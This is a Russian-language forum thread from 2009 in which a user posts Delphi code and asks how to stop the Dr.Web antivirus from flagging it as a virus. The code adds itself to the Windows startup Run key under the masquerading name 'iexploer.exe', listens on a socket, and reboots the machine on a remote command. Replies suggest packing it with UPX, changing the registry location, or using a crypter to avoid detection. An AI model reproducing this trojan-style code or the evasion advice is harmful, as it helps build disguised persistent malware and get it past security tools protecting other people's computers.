Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   drWeb ServerSocket (https://forum.antichat.xyz/showthread.php?t=126129)

Student :) 20.06.2009 11:15
drWeb ServerSocket
 
Сделал на Delphi сервер с компонентом ServerSocket

и сразу drWeb ругаеться что это вирус!
как решить эту проблему?

diznt 20.06.2009 11:26
объясни для начало что за прогу ты сделал

Student :) 20.06.2009 11:30
вот листинг

Код:
procedure TForm1.FormCreate(Sender: TObject);
var
RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('Run','iexploer.exe',Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  ServerSocket1.Active:=false;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
s: String;
begin
s:= Socket.ReceiveText;
if s='R' then

ShellExecute(handle, nil,'shutdown',' -r -t 2','', SW_SHOWNORMAL);

end;

end.

diznt 20.06.2009 11:41
Цитата:
Сообщение от Student :)
вот листинг

Код:
procedure TForm1.FormCreate(Sender: TObject);
var
RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('Run','iexploer.exe',Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  ServerSocket1.Active:=false;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
s: String;
begin
s:= Socket.ReceiveText;
if s='R' then

ShellExecute(handle, nil,'shutdown',' -r -t 2','', SW_SHOWNORMAL);

end;

end.
Ну естественно понятно почему ругается...
Попробуй упакуй UPX'ом к примеру...
Может помочь но наврятли

Student :) 20.06.2009 11:48
покавал UPX'ом тоже самое :(

fker 20.06.2009 11:55
А может в какую-нибудь другую ветку реестра попробовать записаться?

diznt 20.06.2009 12:15
Цитата:
Сообщение от fker
А может в какую-нибудь другую ветку реестра попробовать записаться?
Что за бред... Он соединяеться с хостом веба и тут вообще реестр не играет роли... (автор темы тут токо криптор поможет)

Nightmarе 20.06.2009 12:16
На данный код ругается проактивка касхерского\других антивирей, на попытку записи реестра. Это зависит не от кода программы, а от действий.

Student :) 21.06.2009 01:52
и что мене делать?

Cthulchu 21.06.2009 02:54
Цитата:
Сообщение от Student :)
и что мене делать?
попробуй попробовать получить таблицу импорта. По дополнительным вопросам обращайся к найтмару.
ЗЫ
соре-соре.


Время: 19:25